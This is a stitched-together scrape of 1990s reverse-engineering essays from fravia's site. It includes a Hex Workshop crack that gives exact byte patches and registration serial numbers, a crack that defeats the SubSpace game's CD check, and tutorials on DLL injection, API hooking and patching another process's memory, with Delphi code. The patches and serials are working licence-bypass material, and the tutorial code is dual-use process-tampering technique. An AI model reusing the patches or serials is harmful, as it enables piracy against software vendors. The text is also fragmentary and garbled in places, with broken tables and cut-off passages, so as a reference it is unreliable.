0003A59B E919010000 jmp 0043B2B9 ; Jump however
0003A5A0 90 nop ; :-o
So I modified my regfile using the first-way cracked program :-), and changed the
4 bytes at the end from:
78h, 78h, 0Dh, 0Ah
to:
36h, E8h, 0Fh, C8h
Ok... A speed crack... If you have more time, you can analyze the Check Routine
and you'll easily be able to prepare a keymaker for this program.
Note:
Sorry for my English, I am an Italian cracker, and I learned with the
superb +ORC tutorial...
You are deep inside fravia's page of reverse engineering, choose your way out:
Project 1
homepage links anonymity +ORC students' essays Academy database
tools cocktails antismut CGI-scripts search_forms mail_Fravia
Is reverse engineering illegal?
by Aesculapius
(05 July 1997, slightly edited by Fravia)
Getting advantages from weak protection schemes has always been one of
my favorites activities. Turning your worst enemy into your best friend is
one of the more stunning goals of a cracker. This application is not only
a great shining diamond for our trade (being a very good hexeditor) but
also an excellent example in how a precise modification of the protection
scheme can turn it to your advantage.
Hex Workshop v. 2.52 has already been cracked (BTW, +ORC explained the
'dead listing' approach cracking version 2.1 of this same program inside
his lesson 9.3) and probably the same modifications of the previous version
apply to this one, however, what i pretend to teach in this essay is how
to reach the heart, or should i say, pull out the guts of this protection
scheme with your own bare hands (nasty!!! ain't it).
May we begin?
* Possible StringData Ref from Data Obj ->"JN11mARQ"; This should win the
programmers stupidity
award. As this is one
of the few known
working serial numbers
widely spread around
|
:00409D61 6A01 push 00000001
As you can see, this code is self explaining, the invalid serial number
is first compared with the widely spread (JN11mARQ); if it isn't this
number, then the execution will check your serial number for
validation at CALL in address :00409C5E. Lets search this CALL. Hit search
button at Wdasm looking for ":00409C5E". We land here:
; to register it.
|
:00437240 83EC14 sub esp, 00000014
:00437243 B9FFFFFFFF mov ecx, FFFFFFFF
:00437248 2BC0 sub eax, eax
:0043724A 56 push esi
:0043724B 8B74241C mov esi, dword ptr [esp + 1C]
:0043724F 57 push edi
:00437250 8BFE mov edi, esi
:00437252 F2 repnz
:00437253 AE scasb
:00437254 F7D1 not ecx
:00437256 49 dec ecx
:00437257 83F908 cmp ecx, 00000008 ; Once again, its the
; code 8 bytes long? No,
; then EAX=0 Unreg.
:0043725A 7408 je 00437264
:0043725C 33C0 xor eax, eax
:0043725E 5F pop edi
:0043725F 5E pop esi
:00437260 83C414 add esp, 00000014
:00437263 C3 ret
We've seen enough, the program will check only the first two bytes of the
serial number to see if the number you typed match the one it calculated.
It accomplish this task using REPZ CMPSB (F3A6), damn, poor people!
Another "stupidity flag"! Just searching for the instruction 'F3A6' we would
have landed right in the hearth of the protection scheme.
There are many modifications that will defeat this scheme.
I prefer the following one:
change:
:004372C0 A6 cmpsb
to
:004372C0 A4 movsb
The right bytes will be moved to the first two bytes of your serial number
and, as the zero flag is already set, EAX will then be equal to 01.
This crack will force the program to accept any serial number as valid and
therefore it will create an hexworks.reg file key which will work
in any shareware version of the program.
By simply erasing the key file, you may create as many new keys as
necessary.
As you can see, the protection scheme itself works now for us as a
key generator, able to create as many valid keys as we request.
New learning Crackers can use before reverse engineering the target
this Valid Serial Number: SYAESCUL, in order to learn more about what
happens when the program is registered. Once you have verified it, just delete
the registered version and reinstall an "original" one in order to
follow this essay.
You are deep inside fravia's page of reverse engineering, choose your way out:
Poor shareware programmers... they would like soo much to concentrate on their own nice petty code, but -alas!- they have to wage battle
against hordes of pirates, thousand of "serial numbers afecionados", their own concurrence (may be their most dangerous enemies), and, last
but not least, all little wannabye crackers on the wide wide web (I did not included us reverse engineers in this list, because we are not their
enemies and their struggle against us would have the same chances of paper against scissors :-)
Some of them, in their deep desperation (and unbelievable assembly ignorance) resolve to "buy" already made "commercial" protection
schemes, most of which don't work at all (which does not wonder, being produced by "extremely mercantile" minds), as we will demonstrate in
this project, started 05 July 1997
Please note!: This section is EXTREMELY useful not only for protectors (in order to avoid at least the most obvious mistakes you could do
protectiong your software, but also for all beginners in the reversing arena. Most code reversed here is extremely simple, and you'll be able in
many case to follow its flow sitting in your armchair, without even the need of running the target. It is tehrefore high suitable for all those
readers that have never 'trusted' themselves (yet) in reversing code. It's easy, it's great fun and, as you'll soon learn, there's no end of such
stupid "faux pas" around...
Essays
05 Jul 1997 Aesculapius Hex Workshop 32 v. 2.53 Weak protection schemes are worse than no protection at all
05 Jul 1997 TheChineese Claris Home Page version 2.0 Stupid time trial limits
SmartDraw for Windows95,
05 Jul 1997 Frog's Print Heawy Stupid anti-crackers protection
Version 3.11
A pretty stupid scheme: Spam
09 Jul 1997 plushmm it's all there... "autocracked
Exterminato
28 Jul 1997 +SNikKkEL Another "blacklist" protection Hypersnap-DX version 3.02 Key generator, ASM CODE
06 Aug 1997 Frog's Print PhotoShop 4.0 / Digimarc Commercial stupidity - Digimarc downfall
SoftWrapper - Cracking Windows
14 Aug 1997 +Sync how to reverse engineer a simple "anti-Winice" protection scheme
Calculator?
28 Aug 1997 Mammon_ EnTray-Vous, Merci How NOT to use the Registry to protect your software
"Protections" that tell you the name of the calling dll and of the
29 Aug 1997 PNA Ulead PhotoImpact Trial 3.01
calling function
iniquity's inequality protection
31 Aug 1997 Flipper some tips about pascal reverse engineering
scheme
"Mental" cracking: techfacts95
04 Sept 1997 SiuL+Hacky Am I dreaming?
v1.3
Bypassing Ready made
04 Sep 1997 x86 Commercial Protection Schemes Cracking Xing Technology's Mpeg Player
(RSAgent32)
22 Sep 1997 +ReZiDeNt DLL-based schemes are *dead* A long overdue lesson for shareware programmers
24 Sep 1997 Frog's Print Bullet Proof FTP V1.0 hidden, bloated exe creation
02 Nov 1997 +DataPimp Cracking Unlocker for newbyes Defeating Lame Commercial Protection Schemes
16 Mar 1998 The Nameless BEGINNERS: Big tent, little circus Observations and Thoughts springing from an mIRC 5.3 crack
29 Jun 1998 XaVaX PhotoShop 5.0 / Digimarc 1.6.82 Commercial stupidity is alive & well
programmer's
our protections our tools Protect better
corner
You'r deep inside fravia's pages of reverse engineering, choose your way out!
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?
+HCU's PAPERS
Project start: Last update: Go to the [most recent] essays
March 1998 September 1999
Now let's see if we can put some deeds where our mouth is... as usual a project like this one will florish
and prosper if many will contribute, will pepper out and die if you do not contribute and if you think it's a
smart move just to leech things out, without giving anything in exchange... you're not doing just that, are
you?
PHASE 1
Tweaking with memory in Window95 - An API approach -
(Things you need to know on our beloved/hated operating system)
by Iceman
14 March 1998
PHASE 2
In memory patching: three approaches
(how to introduce breakpoints in an automated debugger and other marvels)
by Stone
20 March 1998
PHASE 3
WIN32 - Inside Debug API
(Things you need to know: the mysterious CONTEXT structure)
by Iceman
20 March 1998
PHASE 4
The supression and resurrection of assembler programming.
(Recent programming history cracking for crackers! A "must read" paper)
by SLH
08 May 1998
21 May
SLH ~ hutquest.htm THE QUEST: Building the launch pad papers ~ fra_011F
98
25 May The resurrection of assembly
Masta ~ winasm_1.htm papers ~ fra_0121
98 programming - Essay nr. 1
29 May
SLH ~ hutch28.htm Software warriors through the warp papers ~ fra_0123
98
05 June Little essay about the various methods
Joa ~ crunchi1.htm papers ~ fra_0126
98 and viewpoints of crunching
05 June The Eye Of The Warrior (a "graphical" papers
SLH ~ hutch_65.htm ~ fra_0128
98 windows' paper)
10 June Little essay about the various methods
Joa ~ crunchi2.htm papers ~ fra_0129
98 and viewpoints of crunching II
10 June The iron fist (Keeping The Crackers
SLH ~ hutchif1.htm papers ~ fra_012A
98 Amused)
15 June
SLH ~ hutsting.htm Applying the sting papers ~ fra_012C
98
17 June Little essay about the various methods
Joa ~ crunchi3.htm papers ~ fra_012E
98 and viewpoints of crunching III
17 June Little essay about the various methods
Joa ~ crunchi4.htm papers ~ fra_012F
98 and viewpoints of crunching IV
Little essay about the various methods
10 July 98 Joa ~ crunchi5.htm papers ~ fra_0133
and viewpoints of crunching - V
Simulating User Input to Eliminate Nag papers
25 July 98 bb ~ bbnag1.htm ~ fra_013F
Screens
How to hook any API function in advanced
06 Sep 98 PNA ~ pna3.htm ~ fra_0149
kernel32.dll papers
Little essay about the various methods
16 Sep 98 Joa ~ crunchi6.htm papers ~ fra_014E
and viewpoints of crunching - VI
Dr.
23 Sep 98 ~ dvdfuhr.htm DIVX and DVD reversing papers ~ fra_0153
Fuhrball
21 Oct 98 Svd ~ bulga_1.htm Data-reverse-engineering - Lesson 1 papers ~ fra_015C
Victor Redirection Revisited -- Achieving
12 Dec 98 ~ porvbo1.htm Papers ~ fra_0172
Porguen Redirection Through API Spoofing
Little essay about the various methods
12 Dec 98 Joa ~ crunchi7.htm papers ~ fra_0175
and viewpoints of crunching VII
The Great Dead-Listing Excavations or advanced
20 Jan 99 SvD ~ svd_last.htm what we (could) see in disassembled ~ fra_0185
papers
code
You are deep inside fravia's page of reverse engineering, choose your way out:
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved
by Iceman
Intro
------
========================================================================
I assume that the reader is familiar with process and threads functions
and have a basic knowledge on how Windows95,using the paging mechanism on
386+ processors,manage memory.Let's remember some facts:
1.Windows 95 implements a page based virtual memory system. It
uses a 32 bit linear addressing system.Internaly,all memory is managed in
4096 bytes segments called pages.The entire memory that CPU can address
in theory is called "address space".That's 4Gb.
2. In Windows95 each 32 bit application is provided with an
independent 4 Gb address space,regardless of how match phisycal memory is
installed in your computer.This address space is structured as below:
4Gb ------------------------
| |
| |
| VxD |
3Gb ------------------------
| System DLLs |
| MMF |
| Top W16 Global Heap |
2Gb ------------------------
| |
| |
| User process |
| area |
| |
| |
4Mb ------------------------
| Base W16 Global Heap|
0 ------------------------
============================================================================
Following functions are used for Virtual Memory Managemnt.They are part
of WIN32 API:
VirtualAlloc
VirtualFree
VirtualLock
VirtualUnlock
VirtualProtect
VirtualProtectEx
VirtualQuery
VirtualQueryEx
BOOL VirtualProtectEx(
HANDLE hProcess,
LPVOID lpAddress,
DWORD dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
We need:
1.HANDLE hProcess: A handle to target process.The handle must have
PROCESS_VM_OPERATION access.See OpenProcess for further reference.(I
usually use OpenProcess with PROCESS_ALL_ACCESS to get all possible access rights)
2. LPVOID lpAddress: A pointer to the base address of the region of
pages whose access protection attributes are to be changed.(I usually use a
DWORD with a type cast)
3.DWORD dwSize: A dword that specify the size in bytes of region whose
protection attributes are to be modificated.If dwSize excedes a page
boundary both pages will change protection attributes.
4.DWORD flNewProtect:A dword that specify new protection atributes.This
can be a one of following flags:
of pages.
PAGE_WRITECOPY Gives copy-on-write access to the committed region of
pages.
PAGE_EXECUTE Enables execute access to the committed region of
pages.
An attempt to read or write to the committed region
results
in an access violation.
PAGE_EXECUTE_READ Enables execute and read access to the committed
region
of pages.
An attempt to write to the committed region results
in an access
violation.
PAGE_EXECUTE_READWRITE Enables execute, read, and write access to the
committed region of pages.
PAGE_EXECUTE_WRITECOPY Enables execute, read, and write access to the
committed region of pages. The pages are shared
read-on-write and copy-on-write.
PAGE_GUARD Pages in the region become guard pages. Any attempt
to read
from or write to a guard page causes the operating
system
to raise a STATUS_GUARD_PAGE exception, and turn off
the guard
page status. Guard pages thus act as a one-shot
access alarm.
The PAGE_GUARD flag is a page protection modifier.
An application uses it with one of the other page
protection
flags, with one exception: it cannot be used with
PAGE_NOACCESS.
When an access attempt leads the operating system to
turn off
guard page status, the underlying page protection
takes over.
If a guard page exception occurs during a system
service,
the service typically returns a failure status
indicator.
PAGE_NOACCESS Disables all access to the committed region of pages.
An attempt to read from, write to, or execute in the
committed region results in an access violation
exception,
called a general protection (GP) fault.
PAGE_NOCACHE Allows no caching of the committed regions of pages.
The hardware attributes for the physical memory
should be set
to "no cache." This is not recommended for general
usage.
It is useful for device drivers; for example, mapping
a video
frame buffer with no caching. This flag is a page
protection
modifier, only valid when used with one of the page
protections
other than PAGE_NOACCESS.
VirtualProtectEx( hTarget ,
LPVOID(codebase), //Change attribs of
4096, // first code page
to
PAGE_EXECUTE_READWRITE, // enable read ,
write
&oldattr); // and execute
access.
//
// Do something useful here
//
//
VirtualProtectEx( hTarget ,
LPVOID(codebase), //Restore old attr.
4096, //
oldattr, //
&oldattr);
DWORD VirtualQueryEx(
HANDLE hProcess, // handle of process
LPCVOID lpAddress, // address of region
PMEMORY_BASIC_INFORMATION lpBuffer, // address of
//
information buffer
DWORD dwLength // size of buffer
);
The parameters:
1.HANDLE hProcess: Handle to target process.Must have
PROCESS_QUERY_INFORMATION
access flag set.
2.LPCVOID lpAddress: Pointer to se address of the region of pages to
be
queried.
This value is rounded down to the next page boundary.
3.PMEMORY_BASIC_INFORMATION lpBuffer pointer to a
MEMORY_BASIC_INFORMATION structure to receive region info.
} MEMORY_BASIC_INFORMATION;
typedef MEMORY_BASIC_INFORMATION *PMEMORY_BASIC_INFORMATION;
region are
private (not shared by other processes).
4.DWORD dwLength: Specifies the size, in bytes, of the buffer pointed to
by the lpBuffer parameter.
Usually set to sizeof(MEMORY_BASIC_INFORMATION).
Now let's retrieve this information for the code section of target
process:
How do I....
------------
HANDLE hKernel32;
DWORD oldprot;
hKernel32=GetModuleHandle("kernel32.dll");
VirtualProtect(GetProcessAdress( hKernel32,"GetDriveTypeA"),4096,
PAGE_EXECUTE_READWRITE, &oldprot);
//
//
//Write new code
//
VirtualProtect(GetProcessAdress( hKernel32,"GetDriveTypeA"),4096,
oldprot, &oldprot);
Final Notes
-----------
You are deep inside fravia's page of reverse engineering, choose your way out:
by Stone
(20 March 1997)
A very good essay by Stone, a great cracker and one of the few fine reversers around that produces his own VERY GOOD
TOOLS.
This essay has a very high theoretical value and should IMO be read by ALL reversers: you'll find inside it matters like
"how it's possible to introduce breakpoints in an automated debugger", "making the target load a DLL for me"... and other
marvels. Stone intends to update this work in fieri, therefore your contributions on all these matters are welcomed. Enjoy!
(Beginners shouldn't touch this stuff IMO)
In memory patching
Three approaches
by Stone
20 March 1998
2) The operating system should not suffer any long term effects of the
crack. That is after termination of the target the OS should be left
unchanged.
Common ground
Our immediate problem is that in a preemptive operating system like
windows each process runs in it's own addressing space. Each time that the
operating system switches to another process the virtual mapping is changed
to fit that of the current process.
The whole idea with memory patching is providing means of patching the target
in it's addressing space at a certain time (after unpacking, CRC'ing or
whatever is done). However since a criterium of the memory patch is that we
can't patch the operating system nor the program itself we need to find a way
of gaining access to the target addressing space from another process.
The next problem we got is one of timing. Obviously the target needs to
be patched after the CRC check has been performed or after it is unpacked
in memory. And possibly it needs to be unpatched again to pass later
checks. In other words we need a reliable trigger mechanism. It is in this
respect that the three methods I'll present here differ.
About the first assumption it can be said - if it's a trainer this will
never be a problem. Obviously the user will know when he want's to have
infinate lives. Often a messagebox or some other visable sign shows itself
when a patch is needed. E.g. A messagebox saying "Insert correct CD in
drive and press OK"
It'd be easy to write a doc saying that when this occurs the
dear user should press OK in another window first, and then in the
target's obnoxious messagebox. However this is a serious shortcomming.
Who said the program will actually let the user make a retry? Most 30-day
trials tell the user the program has expired and the just exit or get into
trial mode or whatever.
Perhaps many different locations has to be patch at many different time
making user-controlled patching a cumbersome solution.
Sourcecodes at:
http://www.one.se/~stone/general/trainnt.zip (or something)
----------------------------------------------------------------------
Obviously the assumptions made for the Loader Approach can be too
restrictive. For instance 30-day trials often exit prior to offering the
user any obvious point of introducing a patch. So does a dongle. Players
might not like to switch task out of their beloved game to get another
10 bullets or whatever. What we really need is the target to trigger the
patch and this section is a way of doing this.
The whole idea here is to hook an API-call, and make it perform to our
desire. That can be return fake values under certain circumstances
it could be to patch the main program or it's dll's in memory. In short
what we wish to do is to let the api-call the program performs be
surrounded by our code so that we can make it perform in every way we wish.
Certain side benefits will come along as well. The code I present will
show how it's possible to introduce breakpoints in an automated debugger
which is indeed something very useful for the creation of for instance
unpackers.
Again let's get down to it. A PE-file "imports" the functions it wishes
to make use of. Because MS-developers decieded on a dynamic structure for
API's it's obviously neasesary for each program to declare what functions it
uses.
This is done in a so called import table. Let's now take a deeper look
into what takes place between the importtable in the PE-file and the
execution of an API call by the target.
DLL1-Name
Function1-from-dll1- name or ordinal
Thunk-RVA of Function 1 of DLL 1
Function2-from-1dll-name or ordinal
Thunk-RVA of Function 2 of DLL 1
....
DLL2-Name
Function1-from-dll2- name or ordinal
Thunk-RVA of Function 1 of DLL 2
Function2-from-1dl2-name or ordinal
Thunk-RVA of Function 2 of DLL 2
....
...
What windows does while loading the PE-file is traverse thru this table
following this "pseudo code":
What the program then does when it's in need of the API-function it is
this: CALL Dword ptr [Thunk VA of needed function]
Lets for a second imagine that we could stop execution of the target
process right before it started and then inject our own code in to it's
addressing space. Then we could simply replace the value at any Thunk-VA
with a pointer to our own code and our code would be executed every time
the program decieded to use this API.
We could even save the old pointer and use this to chain
the original intended API-code. Weeeeeee.. "Isn't this just great?" as
Oprah Winfrey would say. "No, it is not", as I would reply.
We are left with a new problem. Or rather two. The first is stopping
Execution of the target process before the program runs the first
instruction so that we can be sure that our new pointers are in order.
Second we're left the great problem of having code in the target's addressing
space.
Solving a problem at the time we start by examining how we can stop our
target process. Many people always state that windows is overbloated and
perhaps they are right - but in this case I'd say that it's damn
convinient that MS-engeneers made a full-featured debug interface while
designing API calls so that we could with the greatest of ease program a
debugger without having to do the low-level work ourselves.
Infact they made it so that not one line of ring 0 code has to be
written to make an application debugger.
"Isn't this just great?" as Oprah would phrase it? "Yes it is, maam" as
I would reply. Because it get's even better. Windows engineers must've
actually been thinking the day they made windows. What good is a
full-featured debug interface if the poor programmer has to make a
PE-loader before he can even start debugging. Hey after all they already
made a loader and they decieded to be helpful. CreateProcessA can open a
process in Debug mode.
This means that inside of most windows's procedures hides status
breakpoints that'll turn over the control to our debugger thru that
interface. One of these status breakpoints triggers just before windows
is about to turn over control to the just loaded PE-file. Convinient!
What I'll try to obtain is making the program load a DLL for me. This
ofcause isn't something th program is willing to do without force. Fortunately
for the moment I'm President Clinton and the security counsil has agreed to
bomb the target until it conforms to my ideas. The scene is set at the status
breakpoint just before the target is about to start execution. It is
fully loaded and ready to go. However we're sitting comfortably with it
suspended far far away in our own addressing space. The first thing we got to
agree on is how it is we actually want's the target to do. Load OUR dll, find
the process address of OUR function, replace the one found at the THunk-VA
of the original. We now constuct code that will do just that in deltaoffset
so that it can be inserted anywhere. Prior to actually running the program
we found a page within the target that allowed execution. Most pages in the
target allows execution but we just need one. We now read the page out
the Process space of the target into our own and stores it safely. This is
done thru another subfunction of INT 2eh which ofcause also overrides
pageprotection etc. The API is: kernel32!ReadProcessMemory
See Natzguls essay for a more thourough breakdown of this function. Now
we write our own code that loads a DLL, finds the address of our function
and replaces the Thunk-VA entry of the function with ours.
Now were ready to go? No. We're left with the problem that execution
should be left otherwise unchanged so that we've written a page somewhere is
bad news. So in addition to the code we appended we add an INT 3 which will
when executed cause a debug event and once more suspend the target allowing
us to restore the page. Unfortunately EIP of the target does not
neassesarely point to our page, further we use all the registers and those
needs to be restored too.
A last side note should be mentioned here. While I was doing this code I
encountered a bug in windows NT workstation 4.0 build 1381. It might
exist on other versions too. Code inside windows looks like this:
mov eax, [offset of Context Storeing space in debugger code]
; this is obvioulsy a parameter
mov ebx, [Temporaly variable containing ring level of debugger]
test eax,ebx
jnz insuficient_security
everything Ok.
Obviously this is wrong. To overcome this bug make sure that the offset
where you store your context and'ed with 3 is 0.
---------------------------------------------------------------------
Forthcoming
source is forthcoming
---------------
Literature
email: stone(at)one(point)se
http://www.one.se
Stone/UCF'98
2nd&mi!
-----
doc end
kind regards
You are deep inside fravia's page of reverse engineering, choose your way out:
This essay will be like nothing you've ever read. This essay does get a bit detailed and will lose those not
intimately familiar with Win95/NT and its inner guts. It will show how a program that seems unpatchable can be,
through our last resort =)
Introduction
Deep within the Internet lies a great game...Subspace, by VIE(Virgin)
Having gone retail just recently, it was a matter of time till the
protection came...And it did, quite well I might add. How do we fix
a program that has CRC checks on itself and the memory it resides
in (active checking)???
Tools required
Winice 3.22
Hiew 5.66
W32Dasm 8.9 (Regged helps)
API Knowledge (Win32.Hlp will do)
Target's URL/FTP
Not available except in Demo =( You have to get 1.32 from Hybrid and get Regged update from
http://subspace.vie.com/
Program History
First Protection Scheme
Essay
SubSpace, an online game has been around for a while now. I always found it hard to cheat in...I only did it for
fun, not to ruin the game. But now the retail version came out and has added a CD-Check....Woohoo! Time to
crack the ol' knuckles and sit down... If you have the retail, you will notice nothing different about the game till
you go to play and a "Please insert CD..." msg flashes with a time limit... This brought a smile to my face, but little
did I know...So I jump in Winice immediately and:
BPX GetDriveTypeA (Commonly used in Cd-Checks to find the CDROM)
It catches and I'm then in SubSpace code...The usual routine has the following pattern:
I got this idea while attempting to fix a nuker on my own that had spread on IRC...Messing with important Win95
files is dangerous, toying with the kernel is just crazy...So we know SubSpace's first call in its protection scheme is
to GetDriveTypeA..This API returns a 2 for floppies, 3 for HDs, and a 5 for CDROM (Other values dont interest
us)...So I get this idea that we will essentially attack this protection like a FAKECD program would...We would
emulate the files needed on our HD somewhere while a TSR emulates a CD
But were going to do this runtime...In Winice, type:
U GetDriveTypeA
You will see the assembly code for the API..write a portion of the code so we will find it on disk in kernel32.dll (I
can't give my example because there are too many kernel32.dll's out there) But basically you have a short routine
that does some weird compares and then goes on to another API with a JMP.....Like this:
Final Notes
This is indeed an interesting way of approaching a crack...I've never seen anyone use this method, probably
because its so dangerous and has compatibility problems...I wanted to spread the idea I found to others so they may
consider this technique in the future...The main problem with using KERNEL32.DLL is that MS has so many
damn versions of it, its crazy to make a patch for em all...
Amazing, no matter how far DOS goes away, its roots still follow us in cracking! TSR cracking is kind of a hobby
of mine =) It's different!
PS - If you play SubSpace alot, buy the game...It's like 30 bux or something. I did this because I wanted the
challenge! =)
Oh Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer
period than the allowed one. Should you want to STEAL this software instead, you don't need to crack its
protection scheme at all: you'll find it on most Warez sites, complete and already regged, farewell.
You are deep inside fravia's page of reverse engineering, choose your way out:
A fundamental essay for intermediate and advanced crackers. This tutorial's subjects are of paramount importance for any
serious probe-building.
Introduction
INTRO: Yup ! iam back from lazyness =)
Hello and Welcome to my new tut.
This time it concerns, how to access the memory of a Process, i.e. write
and read access.
This is actually nothing new and the Game Trainer Scene proves it to us
daily.
The problem under win95 is actually that a Process has no rights to access
the memory of another Process (above all not the code).
In this tut I will show you methods and the functions to bypass this problem.
Lotta people has spoken about these functions, but no one did somewhat
useful with them until now (except the Trainer Scene),
however this is my contribution to fill this gap and of course a few examples
Target's URL/FTP
TARGET: ANY EXE (FLAT MODEL !)
Essay
Author : NaTzGUL
Email : natzgul@hotmail.com
HOW TO ACCESS THE MEMORY OF A PROCESS (i.e. Game Trainer,Process Patcher etc.)
TUT: At first I will list you the mentioned functions we wanna use :
(These functions are actually meant for debugging)
KERNEL32!ReadProcessMemory
KERNEL32!WriteProcessMemory
BOOL ReadProcessMemory(
Parameters
hProcess
lpBaseAddress
lpBuffer
Points to a buffer that receives the contents from the address space of
the specified process.
cbRead
Specifies the requested number of bytes to read from the specified process.
lpNumberOfBytesRead
Points to the actual number of bytes transferred into the specified buffer.
If lpNumberOfBytesRead is NULL, the parameter is ignored.
Return Value
Remarks
ReadProcessMemory copies the data in the specified address range from the
address space of the specified process into the specified buffer of the
current process.
Any process that has a handle with PROCESS_VM_READ access can call the
function.
The process whose address space is read is typically, but not necessarily,
being debugged.
The entire area to be read must be accessible.
If it is not, the function fails as noted previously.
BOOL WriteProcessMemory(
Parameters
hProcess
The handle must have PROCESS_VM_WRITE and PROCESS_VM_OPERATION access to the process.
lpBaseAddress
lpBuffer
Points to the buffer that supplies data to be written into the address space of the
specified process.
cbWrite
Specifies the requested number of bytes to write into the specified process.
lpNumberOfBytesWritten
Points to the actual number of bytes transferred into the specified process.
This parameter is optional. If lpNumberOfBytesWritten is NULL, the parameter is
ignored.
Return Value
Remarks
WriteProcessMemory copies the data from the specified buffer in the current process
to the address range of the specified process.
Any process that has a handle with PROCESS_VM_WRITE and PROCESS_VM_OPERATION access
to the process to be written to can call the function.
The process whose address space is being written to is typically, but not
necessarily,
being debugged.
The entire area to be written to must be accessible.
If it is not, the function fails as noted previously.
So the only thing we need is the Handle of the Process we want to access.
METHOD1:
----------------
HANDLE OpenProcess(
Parameters
fdwAccess
Specifies the access to the process object. For operating systems that support
security
checking, this access is checked against any security descriptor for the target
process.
Any combination of the following access flags can be specified in addition to
the STANDARD_RIGHTS_REQUIRED access flags:
Access Description
PROCESS_ALL_ACCESS Specifies all possible access flags for the process
object.
fInherit
Specifies whether the returned handle can be inherited by a new process created by
the current process. If TRUE, the handle is inheritable.
IDProcess
Return Value
If the function succeeds, the return value is an open handle of the specified
process.
If the function fails, the return value is NULL. To get extended error information,
call GetLastError.
Remarks
The handle returned by the OpenProcess function can be used in any function
that requires a handle to a process, provided the appropriate access rights
were requested.
The FindWindowA function retrieves the handle of the top-level window whose class
name
and window name match the specified strings. This function does not search child
windows.
HWND FindWindowA(
Parameters
lpClassName
Points to a null-terminated string that specifies the class name or is an atom that
identifies the class-name string. If this parameter is an atom, it must be a global
atom created by a previous call to the GlobalAddAtom function.
The atom, a 16-bit value, must be placed in the low-order word of lpClassName;
the high-order word must be zero.
lpWindowName
Points to a null-terminated string that specifies the window name (the window's
title).
If this parameter is NULL, all window names match.
Return Value
If the function succeeds, the return value is the handle of the window that has the
specified class name and window name.
If the function fails, the return value is NULL. To get extended error information,
call GetLastError.
DWORD GetWindowThreadProcessId(
Parameters
hWnd
lpdwProcessId
Return Value
The return value is the identifier of the thread that created the window.
We are now able to write a function which will relieve the access to a Process for
us.
I wrote this function in Delphi3. If someone asks for the assembler or c version,
then I will write one for you too, but at this time iam to lazy ;)
Anyway, it should not be that hard to figure it out yourself !
Here thus the Delphi version of the mentioned function:
(This function will in most cases find its use in a trainer i think)
type access_info = record error :integer; hwindow :integer; thread_id :integer; process_id :integer; hprocess :integer; end;
function AccessProcess ( access_type :integer; wtitle :string; address :integer; buffer :PByteArray; b_count :integer
):access_info; var temp :integer; begin result.error:=0; if wtitle<>'' then begin result.hwindow:=FindWindowA
(nil,pchar(wtitle)); if result.hwindow<>0 then begin result.thread_id:=GetWindowThreadProcessId
(result.hwindow,@result.process_id); result.hprocess:=OpenProcess (PROCESS_ALL_ACCESS,false,result.process_id); if
result.hprocess<>0 then begin temp:=0; case access_type of 0 : ; 1 : if not(ReadProcessMemory
(result.hprocess,pointer(address),buffer,b_count,temp)) then result.error:=4; 2 : if not(WriteProcessMemory
(result.hprocess,pointer(address),buffer,b_count,temp)) then result.error:=5; else result.error:=6; end; CloseHandle
(result.hprocess); end else result.error:=3; end else result.error:=2; end else result.error:=1; end; <hr> The possible
access-types of the function : 0 = Only get Info 1 = Read 2 = Write Possible Error Codes : 0 = No Error. 1 = Window-Title is
emty. 2 = Can't find the Window with the specified title. 3 = Can't open the Process. 4 = Read Error. 5 = Write Error. 6 = Not
supported access-type.
METHOD2:
----------------
- Getting commandline
- Create new process and handle commandline to it
- Wait until the process was fully initialized
- Patch the process
- Finally terminate and leave the new process alone
With a Process Patcher you dont have to care about the exe anymore, because it will
patch the Process like in the first method of this tut.
The difference is that we dont have to specify a window title, because we will
use KERNEL32!CreateProcess and therefore we will automatically get the
Process handle (with PROCESS_ALL_ACCESS) returned in a structure.
Getting commandline :
-----------------------------
This may also be usefull if you have renamed the patcher.exe to app.exe .
This way the app will receive the commandline from the patcher and
thus the patcher will be fully transparency to the child process.
Remark : do not change the name if the app performs a CRC-Check on the exe
!!!,
otherwise it will do the check on the patcher and thats even logical
;)
Win95 does it the same way and again we will be fully transparency to the child
process.
This is necessary, because the memory of the child processes wasnt commited yet
which means that there is garbage at this point.
I used WaitForInputIdle to make sure the memory was commited.
This function waits until the given process is waiting for user input.
Remark : If this is too late for your app you may do compare constantly !!!
After the process memory was commited and the byte check was ok we now can simply
patch the process.
This is optional , but dont forget to close the process and thread handles.
Ok , before i give you the source here are the Descriptions of the functions
from win32.hlp:
The CreateProcess function creates a new process and its primary thread.
The new process executes the specified executable file.
BOOL CreateProcess(
Parameters
lpApplicationName
lpCommandLine
Windows NT: The 32-bit Windows system directory. Use the GetSystemDirectory function
to get the path of this directory. The name of this directory is SYSTEM32.
this directory.
6. The directories that are listed in the PATH environment variable.
lpProcessAttributes
lpThreadAttributes
bInheritHandles
Indicates whether the new process inherits handles from the calling process.
If TRUE, each inheritable open handle in the calling process is inherited by the new
process. Inherited handles have the same value and access privileges as the original
handles.
dwCreationFlags
Specifies additional flags that control the priority class and the creation of the
process. The following creation flags can be specified in any combination, except as
noted:
Value Meaning
CREATE_DEFAULT_ERROR_MODE The new process does not inherit the error mode of
the
calling process. Instead, CreateProcess gives the new
process the current default error mode. An
application
sets the current default error mode by calling
SetErrorMode.This flag is particularly useful for
multi-threaded shell applications that run with hard
errors disabled. The default behavior for
CreateProcess
is for the new process to inherit the error mode of
the
caller. Setting this flag changes that default
behavior.
CREATE_NEW_CONSOLE The new process has a new console, instead of
inheriting
the parent's console. This flag cannot be used with
the
DETACHED_PROCESS flag.
CREATE_NEW_PROCESS_GROUP The new process is the root process of a new process
group. The process group includes all processes that
are
descendants of this root process. The process ID of
the
new process group is the same as the process ID,
which
is returned in the lpProcessInformation parameter.
Process groups are used by the
GenerateConsoleCtrlEvent
function to enable sending a CTRL+C or CTRL+BREAK
signal
to a group of console processes.
CREATE_SEPARATE_WOW_VDM This flag is only valid only launching a 16-bit Windows
program. If set, the new process is run in a private
Virtual DOS Machine (VDM). By default, all 16-bit
Windows programs are run in a single, shared VDM.
The advantage of running separately is that a crash
only kills the single VDM; any other programs running
in distinct VDMs continue to function normally.
Also, 16-bit Windows applications which are run in
separate VDMs have separate input queues. That means
that
if one application hangs momentarily, applications in
separate VDMs continue to receive input.
CREATE_SHARED_WOW_VDM Windows NT: The flag is valid only when launching a
